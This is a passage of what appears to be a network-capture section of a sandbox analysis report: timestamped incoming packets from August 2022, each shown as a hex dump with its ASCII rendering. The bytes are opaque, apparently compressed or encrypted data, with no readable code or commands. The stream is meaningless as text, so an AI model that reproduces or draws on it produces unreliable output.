31 08 86 7c f2 92 26 Data Ascii: \x:JHJ1{dRYiUq<d;*vyjM=}L@=WX&l~LND:$,\d\|H X@;MH3634HJG9zJWGMn_]}Q+>U\|heKk\|UTya(oi.,wVH>\@%ft}J1\|&
2022-08-31 12:29:00 UTC	2919	IN	Data Raw: c5 ee dd f7 0d 04 08 87 f8 05 64 dd a7 20 1f 5f 92 89 7e 0b bc 55 ec 87 f6 40 bf df 4f bb 53 18 7b e0 7c 6a 2b c9 2a bd 78 0f 0b 99 1f 76 33 43 ca 1c c9 fa c1 18 be 69 2b 02 6d 48 ac 93 ab 9b 76 5b a4 3b d9 21 f3 ff 1d 98 fd 2a 04 32 d2 7e dd 3a 92 79 ed 4d ea 16 df 81 ce ce c6 99 f7 10 01 ba bb a6 bb 0e 45 ac 60 2e ef 31 90 9d 9a cd 80 ab 8b 06 5a 20 05 87 30 d5 67 2c d5 d5 69 77 67 88 bf 31 6e 75 e4 16 a2 85 bc 5c 45 8d e0 a7 36 84 fd 0f d9 4e dd 79 dd a1 06 45 ea 52 8e 35 eb 83 37 38 1c c9 7d 40 26 fe ea 12 9b df 1a ca 33 93 1c 6e 99 e9 36 ef 9c 2a 55 d6 66 76 f9 5a 3e 3c 9f 94 33 d8 0f fd 92 12 df f1 f2 28 6a cf 38 48 46 d5 7d d6 b4 3b f7 f4 70 31 e1 3e 8a 5f 08 1c 54 1e 78 5a 08 5f e9 7a 68 d5 dd 1a 59 39 e5 7c 52 36 93 cc 00 91 6d c8 46 7c 26 3b 9a Data Ascii: d _~U@OS{\|j+xv3Ci+mHv[;!2~:yME`.1Z 0g,iwg1nu\E6NyER578}@&3n6*UfvZ><3(j8HF};p1>_TxZ_zhY9\|R6mF\|&;
2022-08-31 12:29:00 UTC	2935	IN	Data Raw: 1d 06 30 ea 18 41 d0 80 9a 96 7e 05 40 c8 d2 c5 73 16 d3 e4 ec 15 48 1d 74 87 77 74 2d 8a 82 b2 b9 2b f9 14 68 90 c9 83 fb 78 9b c7 37 d1 f9 d4 98 8a 6f c1 8c 5a 55 33 4b cf 74 f1 79 bc 59 e5 ec 17 f3 c4 1c f5 4c 54 a2 50 7f 65 f1 85 69 6d 67 8e 3b b6 c1 9a a9 ec ff af 5a ee 17 95 a5 8b 88 21 e5 f2 49 80 35 36 b3 82 c4 c6 fc c1 d7 f2 58 83 ae a4 53 c4 29 f1 34 ce d4 e7 a1 cc 09 a2 6b f8 b1 0b a3 6c 59 c9 ba 08 db de fe 0a 30 a3 31 0d 24 a5 f5 1f 59 93 d0 f5 e7 f5 da ae d2 d3 3c cb 0c 04 a8 ee 15 ff 09 f3 00 b6 3b 3d 52 f0 c0 10 23 1f 91 a5 e6 c6 0f 6a ae c2 f2 3b eb dd 4c 9b a5 88 75 31 70 59 af 62 51 e1 d7 5e f4 6c 30 a5 39 da 37 e4 df c1 77 35 11 89 4b 7c 9d 30 4e 08 56 ec c9 36 57 4d 9b 19 6c d0 85 87 de 7d 20 5a 69 79 c1 d9 bc 8e 31 59 d6 ad 8f c9 01 Data Ascii: 0A~@sHtwt-+hx7oZU3KtyYLTPeimg;Z!I56XS)4klY01$Y<;=R#j;Lu1pYbQ^l097w5K\|0NV6WMl} Ziy1Y
2022-08-31 12:29:00 UTC	2951	IN	Data Raw: 88 49 ca 8a ed f8 e8 7e 88 37 87 91 25 a6 d2 70 c1 35 27 36 50 c5 59 ad d6 c3 d0 4d 60 31 90 96 81 fb 0a c2 31 7f fd ef 0c 52 a4 09 90 bf b0 b8 39 e5 f5 f1 f9 8a 53 cc 96 1d a2 25 54 7f b4 5d 9f e5 05 83 7f 9c 4b cc 2f b8 e4 7a 36 09 2e b9 d8 b5 f4 5f 4d 0b 59 a7 97 46 0d 92 f8 08 7e a3 5d ec 4e da d7 16 d2 00 56 51 9c 9c 01 59 90 49 d0 29 fd e6 db e1 5f d1 f9 cd 08 81 0b 52 15 3c d0 74 94 89 4a 8a a6 43 37 b5 81 ce 53 3b 90 5b 89 29 27 8f c9 6f b8 d5 63 65 aa 28 7f c9 d3 a8 00 98 df a2 4a 07 a4 b0 5d 2e 5e 1d 05 8b c2 87 c1 92 01 c0 8c a9 f5 08 56 b9 47 1a 4a db e9 c8 b3 c9 ea f3 b9 c3 34 62 b2 28 0c b9 17 26 43 05 e1 61 05 ac 9e 0e 0f 13 2b 07 1f a5 53 fa f0 04 24 e0 fd 73 dc 6d c7 d2 fb be c3 79 c2 07 b9 02 ff be 4b 8e a0 09 de 6c e0 09 b5 bf 8c cd e2 Data Ascii: I~7%p5'6PYM`11R9S%T]K/z6._MYF~]NVQYI)_R<tJC7S;[)'oce(J].^VGJ4b(&Ca+S$smyKl
2022-08-31 12:29:00 UTC	2967	IN	Data Raw: c8 50 59 f4 b1 b0 6a 85 a4 da de 5d ea 51 f7 e9 aa c2 66 92 21 c2 17 62 8c 86 d0 5a c9 2f 8e 25 75 52 37 da a2 de bb 62 ff 97 76 ff 26 7a 72 04 6e 31 5f 9f 3e 5f 74 68 f5 97 db 98 90 42 fb 77 bf fd 0e 4f 06 1c 49 b7 ed 19 3e 3a b9 aa d4 71 40 d6 f7 4e f4 d4 99 e1 be cf ea e9 1c 96 b7 fa 22 e3 b6 f2 94 6f 95 11 41 ba 7d 4a 6a eb cb e9 18 f7 20 a8 f5 fc 9a 7c ed 7a ab 4d 64 11 0c fd a2 41 6d 32 fd e1 79 64 5e bd 5b 95 8f ed 27 4e f7 b3 0c 20 c3 aa 6c 90 bd 6f 93 87 fe c9 39 b6 e4 fd 37 df 06 2c 17 23 47 5c 77 4f f7 fb 8e 45 bf 56 ee a1 70 b2 48 9e b4 ee 8a 22 51 f1 6b 12 06 77 ea 81 fa 70 07 d1 bf 82 38 64 0e e2 a4 4d 05 63 7f dc 95 09 ae 53 36 39 42 12 0b 5a 7c 25 0d e5 21 84 1d 1f ae 6c f2 fd af 4e 74 49 96 ff 54 ff 28 b6 25 5c 90 14 8c f2 0d 89 a3 89 24 Data Ascii: PYj]Qf!bZ/%uR7bv&zrn1_>_thBwOI>:q@N"oA}Jj \|zMdAm2yd^['N lo97,#G\wOEVpH"Qkwp8dMcS69BZ\|%!lNtIT(%\$
2022-08-31 12:29:00 UTC	2983	IN	Data Raw: 38 7c 66 11 c5 2b c3 75 28 c5 8c 20 3f c1 24 00 13 13 59 e6 f5 6b 36 16 cc 1a 35 17 ea cc 03 0b 0a 64 9b e9 45 39 d7 d2 f2 52 be b9 a0 54 7d fb b7 0b 61 47 af 8d 88 68 a2 dd 7d b4 47 37 be d2 93 68 74 22 9a 71 de 85 dd b3 94 69 40 db 51 b4 24 88 98 6b 8f d7 2a dd f0 ed 33 fe 86 90 05 22 b4 a0 1a e2 7d c0 ed 64 56 4b a5 d3 3c 09 2d 42 7b 5c c0 3b ec d6 4b 5f 7f d4 97 a1 3e e4 e4 b9 61 85 7e 12 34 96 e0 1a 49 01 71 00 16 70 49 92 79 18 0e d7 c6 67 43 6e 01 52 e4 b4 a1 9c 87 d2 ec d9 89 8d 97 1f 4f ab d8 62 3d 4b c0 df 2a e2 b7 7b db 6e af b6 69 78 0a e2 f8 97 af 52 8f b9 e9 d1 9b 8b 0d 9b f5 19 9e 70 11 f2 1e cb 26 1e 64 dc 30 24 25 a2 a4 8a ae d6 0c bf da d3 d3 0e 3d 82 dc b3 e5 75 0a 1f bc d7 bc 01 e8 c7 31 31 75 d6 92 87 ad 8c ce 1f bb 8f 1c 38 dd 02 04 Data Ascii: 8\|f+u( ?$Yk65dE9RT}aGh}G7ht"qi@Q$k3"}dVK<-B{\;K_>a~4IqpIygCnROb=K{nixRp&d0$%=u11u8
2022-08-31 12:29:00 UTC	2999	IN	Data Raw: 70 33 88 43 aa 12 4c 32 4e bc 08 31 7e 34 95 b5 96 01 dd bf 32 0d 50 c5 86 82 b7 bd 53 6e c4 ff 8f 8b a2 6e eb 7c 08 13 b6 ef 59 81 fa d1 54 ec f0 a8 2e 25 32 1d d8 ce 42 9f f7 af fb 41 ae 3d 2c 07 a7 3e 20 70 17 f9 cb 08 8a cd 45 36 b2 5d c6 8d 50 25 68 bb e8 46 7b 1e f7 3f 67 35 05 cf 5b a6 3a f8 b9 b0 98 42 d5 f6 35 e9 01 6f 55 c3 f4 fc d1 d4 61 6b 5d c8 b5 0a a1 95 83 d4 1e dc c1 43 e2 61 a0 b2 3f a7 52 6e 0c d4 2f ad 99 9d d8 5b 8d 77 14 e5 27 b7 db 10 3c 5d f0 9c 21 bb d2 de 62 d3 1c 10 c4 40 01 ad 03 64 78 5b 05 65 22 6f cc 49 6b f5 98 7c 04 c7 18 00 b0 3f 79 a5 6c f0 0d d1 09 d0 ae 88 c7 40 0b 88 40 a7 0b 4e b8 6a 0b 7e bd ae 98 c9 02 f3 82 96 3c be 11 6c a1 cc 92 4c 0e e9 13 77 51 91 8d 39 0e 0b 7e f7 82 6a fb d0 cf ca 9d 2c 4b ea 88 20 d9 73 55 Data Ascii: p3CL2N1~42PSnn\|YT.%2BA=,> pE6]P%hF{?g5[:B5oUak]Ca?Rn/[w'<]!b@dx[e"oIk\|?yl@@Nj~<lLwQ9~j,K sU
2022-08-31 12:29:00 UTC	3015	IN	Data Raw: 13 7a 54 b8 22 95 2c ec 01 0f 02 4c 73 78 9f 74 24 43 2d 3d 9c f5 7b 03 81 79 04 16 33 21 34 73 8e 4a 54 a2 bd f0 b1 c7 e6 31 32 58 cf bd cb 86 a6 22 90 4b 66 01 4e 89 5d 3c 03 1e 67 9b 2d a5 13 7a 7b f2 64 94 4c e0 88 86 84 c8 17 1a 2d 1c 00 08 8a c3 a8 5c 0b 70 4f 0c d8 b5 21 d0 2d 80 6b 98 28 97 a9 5a 11 bf e6 f5 9a 66 63 ee 39 b5 e4 60 a6 29 fe 89 cb 11 00 ac 61 35 d3 2c bb a0 09 eb 17 39 a7 d0 c2 fb cf 47 2f a6 66 9e 84 40 f1 6d 6b 00 3a 28 f1 1d a8 25 c0 d6 d1 21 b6 6e 95 39 3d 74 14 1e ab 40 a4 69 ba 49 c8 e1 37 5d 67 8e ee 05 85 8f ac 39 fd b8 a7 c7 68 a3 e8 61 2f 9a 55 d6 9a 7a 1e 54 c1 14 85 3d 99 14 d4 c4 5f 93 5d 20 08 b4 a0 5b 6f 3e b5 18 08 b2 7e 6d b5 e0 a9 44 3c 95 15 9c e7 16 2e 07 22 fe 36 34 1c 77 2f a6 6f a5 8d 2f ac 63 b4 78 2c df e2 Data Ascii: zT",Lsxt$C-={y3!4sJT12X"KfN]<g-z{dL-\pO!-k(Zfc9`)a5,9G/f@mk:(%!n9=t@iI7]g9ha/UzT=_] [o>~mD<."64w/o/cx,
2022-08-31 12:29:00 UTC	3031	IN	Data Raw: 71 5d 99 f6 ae 26 4f 2a 39 99 ea 63 3c 34 a9 d8 c6 56 3d 2b 88 b9 be 90 d5 51 e4 6c 46 44 41 ba 8b 06 63 fe 5c 9f 3e 6c ca 3f a9 68 b5 22 7b fa 69 45 05 04 81 85 b5 bc 78 9a e9 09 75 65 88 d3 65 2c 8c a6 97 e7 76 47 41 74 cd 89 fc c0 eb 4f ba 70 11 49 b2 cd a9 86 00 8c b5 1a 34 87 82 59 d6 16 1e 2b 25 63 ea 6e dc d2 68 70 7d 99 d6 62 8d 49 4b 98 8d ec 31 95 9d de e2 9b a1 9e c1 ee ad 47 fc a4 0a 1d b7 b5 53 04 57 54 34 6d f1 11 8e b8 43 bb 3c 41 05 e5 fb 90 d3 91 03 df 56 28 8b 6b 0d c6 3b 7c f7 cd c1 7f d7 2f b4 8e c1 b8 a2 07 08 f5 8a 2e 15 8f 40 06 08 62 88 06 1d bb 8a 91 5a eb 8f f0 9d 85 f2 e5 37 a5 1a 34 c4 86 9a 67 24 8d fa 38 f1 82 79 cf 89 e1 b1 17 d4 a3 9d 33 82 52 9c 3e 89 43 62 b8 53 40 58 7d c4 4f 83 1f 59 6f 83 8d c2 48 28 75 0d 34 d4 2f 79 Data Ascii: q]&O*9c<4V=+QlFDAc\>l?h"{iExuee,vGAtOpI4Y+%cnhp}bIK1GSWT4mC<AV(k;\|/.@bZ74g$8y3R>CbS@X}OYoH(u4/y
2022-08-31 12:29:00 UTC	3047	IN	Data Raw: 37 71 c1 7b e8 8d 0c 22 8e 85 09 c1 dd 51 ff 0c e8 48 5d 04 11 37 1d ad 9a 2e b6 4f ab 88 04 67 95 a2 ec 02 4d 6f 3a 1e b7 dd 82 9d 82 60 e1 54 3d 2f 32 8f b2 2f 9d b1 04 a6 49 63 09 64 e0 b0 08 3d 53 8a b1 00 9e e1 d9 09 89 b6 43 cb cc 42 8d 3f 58 9f d2 6a 75 95 1a 8c d5 b9 04 2d 99 85 e5 ad e1 5a bb 7c a4 77 8a 2c 94 17 1a c7 13 d5 c1 9b db 23 72 b3 1f 81 47 4c ff 74 49 c5 8f 7a 79 8d 53 05 63 8c 07 a7 3d d0 68 20 55 ef 5e e4 82 cc 48 b4 22 ef 8d a7 06 f5 fe b0 4f 14 d9 52 88 71 f5 06 07 8c ff 64 53 52 7c a0 02 35 8f 38 ef a4 dc d5 c4 5a ea ef 1c 08 17 fd f4 1e 1a 51 99 cc 05 2e 29 75 82 31 f4 e9 b0 2e f9 94 9e 62 dd 24 a8 8d 16 86 24 46 71 92 6e 0d 92 25 de 90 25 f4 c6 9c a7 04 b5 e4 51 ab 58 ff ae a8 39 b1 da f0 54 a3 10 4a ea fe 30 ba c8 ba 07 c3 3e Data Ascii: 7q{"QH]7.OgMo:`T=/2/Icd=SCB?Xju-Z\|w,#rGLtIzySc=h U^H"ORqdSR\|58ZQ.)u1.b$$Fqn%%QX9TJ0>
2022-08-31 12:29:00 UTC	3063	IN	Data Raw: 79 36 8e 8b c4 94 21 8d 46 0c 22 58 34 c9 8f 59 50 1c 4f c9 10 a1 1c 64 8c f0 44 1c a4 36 5e da 72 51 c4 32 73 14 f8 9c f5 2e ba 04 9c 26 f1 35 bd 42 bc be 68 b2 ed f2 03 df a3 d9 17 4b cd 69 2f 92 e0 50 50 d9 10 f4 27 84 fd 23 74 6d e7 57 37 3a 6e 89 06 1a 30 84 42 85 2d ed f5 18 68 53 74 e1 93 21 13 5f 26 47 1e 2d fe 64 12 3d ed 02 e6 29 af 1b 39 39 73 4e 38 5c f8 48 7e c2 4a f4 3f cf 5a 4d ba 27 1a be e5 96 4a 8b 37 00 87 b6 af f7 85 32 d5 f8 75 4e 4b 85 98 3f 55 2d 90 0d ca 97 97 e5 00 59 f3 10 86 c8 0c 40 18 43 68 5c b7 db 35 8f 63 ea 06 a4 c6 5d a7 ec 9c e4 55 8d db ef 2e 30 91 5c 79 eb 17 61 3f 37 3c 5c 00 4e 07 41 a4 4e c6 e0 5e 29 40 ce bb 6f dd d0 9c 15 ee b9 59 94 35 a1 50 5f c8 c5 93 b0 96 39 07 1c 68 69 55 d0 3c 29 ea 4f 17 bf ba d1 47 d0 48 Data Ascii: y6!F"X4YPOdD6^rQ2s.&5BhKi/PP'#tmW7:n0B-hSt!_&G-d=)99sN8\H~J?ZM'J72uNK?U-Y@Ch\5c]U.0\ya?7<\NAN^)@oY5P_9hiU<)OGH
2022-08-31 12:29:00 UTC	3079	IN	Data Raw: 7b 0a a0 f4 cf 71 91 a8 16 fa a4 15 93 c8 9d b4 14 70 9e 35 67 d0 09 ba 0f 43 5a d2 20 ea c4 44 12 8c 21 5c 32 27 71 7e d6 77 12 30 1a 93 11 fa 03 58 52 ed b4 87 05 a9 0d c0 94 79 a4 56 17 85 d5 35 13 b9 1d 29 08 c1 8d 65 7f 59 52 3e 3f 42 47 a7 3e 72 12 b8 80 52 8d 25 46 0b 0d e4 de 48 0a 31 8b 6c 88 73 6d f1 32 70 7d 14 cf e4 c2 ee fb 0d 39 e2 64 c4 de 80 a0 9f 71 e6 cc fe 28 ca e7 39 6d ee 50 c0 d0 af ac e5 4c 19 7d d1 8c bf 14 ad b5 ef bd 6f 22 8a d8 b6 a4 4e 8a fb db 9e 52 12 f7 f8 65 4b e5 4b 2f 12 d4 07 72 95 f8 75 61 1e 46 57 18 16 1c ba 0c ad bc 55 d3 05 86 c6 f0 96 0f 1a ed 62 c1 33 cb b5 fe a6 5b c9 18 73 1a 89 ab 99 32 2e 0b 2c 61 ac 2d 16 d4 f7 85 03 03 35 fa e6 6f 70 3d f2 8f 28 7b 77 02 18 2a 1b 90 e1 c1 1b b6 6a 17 d3 ab da 0f 1f a4 a2 3a Data Ascii: {qp5gCZ D!\2'q~w0XRyV5)eYR>?BG>rR%FH1lsm2p}9dq(9mPL}o"NReKK/ruaFWUb3[s2.,a-5op=({w*j:
2022-08-31 12:29:00 UTC	3095	IN	Data Raw: e3 a0 bc b5 d5 cb d7 75 41 a0 9b b5 af 5f ff da 12 6e ea df aa c6 b0 0c b3 59 82 94 d5 1b e2 11 50 b2 7c 23 aa 2a 4a 37 4b ad 75 60 59 d4 bc 8e aa 01 23 44 bf d2 7f d7 57 dd f8 59 f5 01 24 06 10 19 4a 42 7f 90 f0 00 74 1c b3 1e 29 13 3c 88 53 11 8f b6 b4 00 3d 88 59 03 ef 4a 5f 62 9b 32 c4 0e 2e 3e e9 85 fe 00 05 8b 21 c7 8a bb ab 16 05 f4 c3 39 bf 25 fc f4 6f dc 78 f8 7c 60 52 21 ba e3 ea f6 01 7f 4e 7b cc 4e e7 77 2b fb cc 9c 2b db ed fa 0b 38 f7 f2 ad d1 68 5e 73 ab e3 61 56 ec fe c7 84 73 b0 8d 95 b2 32 df 66 42 f7 54 fb 07 6e 46 74 c3 f6 3f 8b be c4 72 58 67 b5 a8 f1 78 04 ea ff 00 f2 1b 9d f4 46 03 4a f8 bb 0e 33 7a 2d 5b 17 e1 c0 4c de 5d 8a 60 82 60 60 23 ac fb 5b 1e 13 ab fe f1 d5 0a a1 87 ad fa a3 4c 89 9d 96 1e 89 cf 69 ee 92 d7 24 8e 81 c7 92 Data Ascii: uA_nYP\|#*J7Ku`Y#DWY$JBt)<S=YJ_b2.>!9%ox\|`R!N{Nw++8h^saVs2fBTnFt?rXgxFJ3z-[L]```#[Li$
2022-08-31 12:29:00 UTC	3111	IN	Data Raw: d8 2f 73 c5 9f c2 18 f3 7a 42 ed 22 44 f2 fb a4 fc b5 1c 98 16 39 7c f6 de de a4 eb d0 ed 6c f3 89 8f 05 cf 1b cb e9 65 cf 81 0a 19 3d 43 83 21 d9 9d 4b 89 e2 ed 8f 8b 90 05 cc d3 cd c1 34 87 c9 6e 85 5d 67 1f d5 c7 91 6a 87 a3 9a 72 32 33 a5 ec 83 06 19 18 3d a6 72 af a7 76 ee c6 97 ab 2e b8 53 0f 12 5f 0c 26 10 10 73 28 a0 f2 be b0 5a 0f ec 06 ff 4e 91 ec 58 ab 63 89 2c 03 57 04 6e 0a 5f ae 4e 07 60 53 cd 53 6f bb 9e d4 d5 e9 57 57 d9 58 1d 9a c5 e5 f6 7a b9 fc 19 7d c1 ba c0 ae 00 65 3d 39 0d 24 74 1e 81 7f 5f 2a b2 8f 25 91 ce 4b c3 11 11 fd fb b5 90 e3 9e f1 29 6d cf 5b 65 df 2c 0b 04 d0 cf 7c 57 fd 47 71 e7 2c fa 95 fa 9b 32 fd 9e 85 27 f7 51 75 a7 27 43 f3 2b 02 cf 59 33 c2 7d a2 70 57 59 b2 9e ba 7b 49 79 44 b3 27 d2 a4 8c e9 8d 00 de ae 7f ef e2 Data Ascii: /szB"D9\|le=C!K4n]gjr23=rv.S_&s(ZNXc,Wn_N`SSoWWXz}e=9$t_*%K)m[e,\|WGq,2'Qu'C+Y3}pWY{IyD'
2022-08-31 12:29:00 UTC	3127	IN	Data Raw: da f9 f8 45 13 27 cc 21 f0 de ec e4 7f fb c9 99 3d 11 7c 3b 2b 76 31 4c 28 dd 08 6d 32 6f 1b 95 40 c5 9c a2 e6 b1 78 74 bb ad 3a 0f 09 df 24 a6 b5 a4 bb 0e 00 bd ba 6a ca a7 76 4e 99 46 9a a3 b3 f8 0b 5b 3c 2f ed fa 43 8c 05 44 97 3a 33 4e 42 66 bd 65 f5 0e 44 b1 aa b2 e3 ad 8a 4d 59 59 4a e6 a9 15 69 37 44 2f 43 2a 53 43 e6 3c ac 32 11 85 08 dc 35 27 aa 10 82 d3 11 b8 f7 c7 79 b9 95 66 d2 72 e4 58 4b 1e bf 57 71 65 d4 e8 0d 38 f6 57 78 69 c5 9f ca e3 df 13 44 5d 19 26 e1 07 00 76 11 9e 4c 03 9b 48 a8 d1 24 9c 7f 95 0b cc 3c 55 11 ff de 9b 68 0f 02 d8 22 a5 36 4a d9 89 28 bd 0d 6d 32 2d a2 3a c3 08 36 59 69 f1 fd 73 ca 98 68 b9 82 7e 34 7c ff 25 33 ce 3d b2 8e 6c cf 8a f6 69 b5 c6 0d 96 d2 e9 c4 61 e8 c8 27 89 41 56 c7 15 40 80 96 df 98 c6 85 fc 93 ab 84 Data Ascii: E'!=\|;+v1L(m2o@xt:$jvNF[</CD:3NBfeDMYYJi7D/C*SC<25'yfrXKWqe8WxiD]&vLH$<Uh"6J(m2-:6Yish~4\|%3=lia'AV@
2022-08-31 12:29:00 UTC	3143	IN	Data Raw: 09 f7 78 f4 30 97 e9 67 9c 5f 34 cd ee 1c 9b 29 cf 8a 1a 40 b9 a1 07 f4 b9 05 1b db 07 1c 5e d2 c1 aa 3e a6 3b 38 8b da f6 72 55 49 d9 2a 0a fa 61 e3 30 53 bf 25 10 16 05 78 9c 50 eb 12 e2 78 c7 fa e2 bc 6a f4 42 73 d5 18 58 91 ec ed ca db 7b d9 c8 0f 82 5d 0f b0 ed cc c0 7d d0 c3 9a 4f 76 ac d4 46 14 68 48 a7 ed 18 81 6b f8 5a d2 4e 03 be f2 50 81 41 58 50 6f 38 b3 29 4c 35 2e 80 9f 14 58 bc 19 37 57 58 a2 a7 50 93 be 87 6d c9 09 d4 ea a9 c7 9b 7f c1 4a 8b ac a4 ad 32 63 8c c5 cc f7 25 0a 62 97 0c a3 e3 77 54 ff b6 4e 3d fe 14 ca ee 01 70 07 a7 81 34 8d 9c f6 c6 d6 f0 75 37 67 e6 28 0c 23 3b fa 25 a3 3c 7f 5e 64 72 c1 7c 19 ed 9e a4 6c 68 bb 74 a7 ae c0 0c 42 b9 f5 3f 53 dd 29 15 0d 73 2a 70 7b 15 e9 fa 35 32 d1 61 60 52 c6 b8 42 ad 71 d2 6d f8 a8 04 06 Data Ascii: x0g_4)@^>;8rUIa0S%xPxjBsX{]}OvFhHkZNPAXPo8)L5.X7WXPmJ2c%bwTN=p4u7g(#;%<^dr\|lhtB?S)sp{52a`RBqm
2022-08-31 12:29:00 UTC	3159	IN	Data Raw: e7 4e e3 1e 27 1a a6 a5 73 c7 a5 a9 a5 06 0a 4d 32 1b 56 45 be a7 06 31 2b 0a 0c a9 28 67 27 0a 2e 8e 5a f9 df 19 77 f6 93 3b 14 ee 94 43 5d 07 47 45 e1 a4 58 ac 7c 82 f3 f8 7d 13 7b 51 15 e5 45 93 cb b6 7c 34 1c f2 f3 78 75 1f 18 51 10 4a af 9e b2 70 b3 2f 3a 8d 81 f7 60 7c e5 12 16 f4 66 5a bd 08 db ca 40 85 25 92 3a 70 87 44 04 9d c7 03 2c 2e 0c cc 2d 33 df f0 c2 6a 6f dd 89 be da 8e 7d 89 e7 7d 3d 38 a2 9a 1e d0 cf 9f 9b 45 b6 13 8d 94 92 36 ca d1 5a 69 71 42 da 57 11 ff 9c f7 8c db 06 84 ae 73 c2 d5 cb 86 19 13 be a4 d2 1c 22 c7 ec 39 95 7c 53 3a 17 53 42 45 45 5a dc b6 e5 05 bb ed 64 21 59 79 7a ec a7 80 7c 17 31 64 e4 6c d3 6d 5d 6a 88 48 d9 58 cb 63 64 ae 0a cc ce 0b f3 16 88 d6 cb b8 ef eb df 8d 0d fb cc 6a 07 67 5c 85 40 60 85 fe 0c 57 33 af 46 Data Ascii: N'sM2VE1+(g'.Zw;C]GEX\|}{QE\|4xuQJp/:`\|fZ@%:pD,.-3jo}}=8E6ZiqBWs"9\|S:SBEEZd!Yyz\|1dlm]jHXcdjg\@`W3F
2022-08-31 12:29:00 UTC	3175	IN	Data Raw: dd 39 e2 cf fb 7c a4 96 0b 32 3e 8e b6 77 95 83 a4 7c 3f 9b 96 d0 2b 65 04 a5 9e ed 0c 46 82 d1 53 77 bb b5 3a ce 58 4d 8e 55 6b 45 62 b0 64 86 c5 ac f4 08 3f dd 80 b5 ef 87 79 d5 ff f0 bc 6f 37 2d 58 ca 98 39 63 ae 13 04 f2 f6 2c bd c1 dc 61 68 d2 b2 4d e3 73 89 5b be d6 83 ab b3 30 e5 4c 66 68 f0 89 09 72 85 9b fe 55 40 69 03 19 db 92 57 35 1f 8e ad 74 82 b4 85 aa cc 6f a0 8c 05 05 17 f7 90 42 95 e3 15 fe 89 2f 04 b4 9a ab d5 9a d5 33 fc 4f 7d 94 5c e4 92 a2 91 4e 7e 6d b4 f2 24 1d 1e 51 46 07 15 5e 08 c0 bb 13 2c c2 19 c3 73 84 b4 01 95 b7 9e 0e 1f 9a fa 18 70 49 21 d8 af fe 24 5a 31 3d 76 c1 b2 ed 27 33 a3 e6 3a 9a be a2 81 c5 50 2c 52 4c 3e 92 58 ab 5e c9 a3 02 f5 cb 25 61 68 e3 93 3d 65 63 2f 56 ed de 20 77 c9 0c 7d fe fb e6 34 e2 67 07 f7 1e d9 40 Data Ascii: 9\|2>w\|?+eFSw:XMUkEbd?yo7-X9c,ahMs[0LfhrU@iW5toB/3O}\N~m$QF^,spI!$Z1=v'3:P,RL>X^%ah=ec/V w}4g@
2022-08-31 12:29:00 UTC	3191	IN	Data Raw: d6 a1 1b 1c 31 84 f7 6c 1b e5 ce ac 72 09 43 56 02 b3 1a 5f 7c 6f 67 24 2e ef 9a 35 d2 fb ef 79 1d 01 0e 3c fd 36 e5 ba ca 7c 28 94 83 c6 ce 18 75 d1 1d 72 26 a5 32 7d 1f 44 39 e2 5f 8e 41 48 59 35 db ec 79 a9 75 75 49 ce bc 32 6c d5 ee a0 08 a6 e4 7c fc 86 45 de 3d 23 00 95 cc 6d 5f c3 3a c6 a0 34 eb 9a e9 e9 ed f6 a5 a5 31 87 0f eb 83 e3 35 48 e3 a7 96 64 5a bb 20 8c b7 ab 57 cb 3a 91 c5 7a d7 78 fc 78 b9 9f fa f6 95 39 c4 62 74 0a ab 95 8c ec 77 18 42 1d 31 ae e6 0b 5b 9f 97 f5 86 a4 80 88 47 e1 25 d3 06 ee ec 03 ae 68 a4 33 88 de 10 31 10 34 eb e6 d5 23 2e 19 de 6d 88 8b 0b 4b 34 c1 dc 0c 35 a9 49 69 39 2b 40 89 e7 70 1b 4e d4 f5 9b f7 2a f4 d7 21 d5 bc 70 1f a5 46 79 28 10 1b 6f f2 9f 9d 57 1c 85 6a cc c8 e5 4a 90 15 c8 a0 4e 32 4c df 2e 23 f0 b0 2f Data Ascii: 1lrCV_\|og$.5y<6\|(ur&2}D9_AHY5yuuI2l\|E=#m_:415HdZ W:zxx9btwB1[G%h314#.mK45Ii9+@pN*!pFy(oWjJN2L.#/
2022-08-31 12:29:00 UTC	3207	IN	Data Raw: e1 83 0c bb 1d ac 96 0f 20 e8 9f 24 94 82 05 0b ed 0a 3a 05 f5 34 d6 9c 23 05 87 15 4e 8f b8 aa 36 88 e6 99 61 3d 72 ee 95 1c 45 f7 dc a6 30 01 c9 eb 1c 88 02 70 4d de a7 8f 6c c9 ac b1 26 fc b3 6c b0 f2 12 bc dd 06 55 bc 13 36 94 c0 03 2f 45 bf 5d 0d fd 00 a6 89 91 b0 d0 0f 65 b1 e3 05 1b 69 f3 96 fb 14 ef b1 ff 29 6a a9 67 83 50 8d f3 ff 91 32 3e 58 62 dc 36 33 cf d2 e8 44 2a ad f0 ff a4 86 13 91 5c 98 6e 0f 49 64 4e 4d 68 e6 fe 06 96 e8 c4 ae 61 80 d3 39 c8 90 bd f1 b0 ae f1 d8 78 a2 46 51 4e 96 30 2e 64 0f b6 6a 9c 6b f6 ba 68 91 b9 cd 89 a6 57 ad d5 e9 64 e2 d9 cf f1 c8 8d 80 fe 36 c5 96 08 80 ed d2 1a 58 be 5e c4 5a b6 7d a0 14 92 8d c8 24 7f 33 ff b6 01 6d 64 ce 15 4a 5f 98 ea 3a e9 42 a6 37 cf 79 74 a1 13 69 e3 88 5d 31 e6 e5 1b 7a d6 7f b6 e5 57 Data Ascii: $:4#N6a=rE0pMl&lU6/E]ei)jgP2>Xb63D*\nIdNMha9xFQN0.djkhWd6X^Z}$3mdJ_:B7yti]1zW
2022-08-31 12:29:00 UTC	3223	IN	Data Raw: d7 b1 49 69 06 40 ee 4f a3 41 0f 75 93 dc 39 e2 75 38 0a 39 79 9a 5e 0e a6 6c a3 8e 1f 1f 14 a6 22 05 e5 06 b1 43 5a eb d0 f3 0c 28 e2 2c cd 4c ef 54 37 af ec 1b e8 b8 67 9a 57 51 2e da b2 58 44 80 81 46 fa 49 67 7c 69 45 85 c4 57 0a 28 55 c7 1b 67 da be af 2b 0a e2 d5 e7 8d 00 e0 83 f3 b0 7c 16 4e b9 49 66 9e 09 21 4a 2f 71 65 e4 cd b3 1d fe 21 c3 e5 48 95 2c f2 4c 9d 8c 7e fb b8 16 b3 f2 22 ed 56 0f 23 e9 4e f7 f3 9c 72 8d 8d 0d 68 a2 da 80 af 37 fd 4b cd df 8e 9a 16 0f af 2d ff ea 17 67 8c 32 88 0f b0 6b 42 ca 70 8e 1d 0e e6 63 2b c9 52 62 59 53 fe 7e 47 d1 50 59 c9 02 6d ff 7d 5c 27 f7 ec f3 f6 9f 3c ea 2c f6 ef 31 fe 1e 1d 8e 60 1f a8 be c3 11 49 c5 94 88 6e 16 2f 4b f0 a4 45 4d a4 29 18 5a 19 79 19 8f 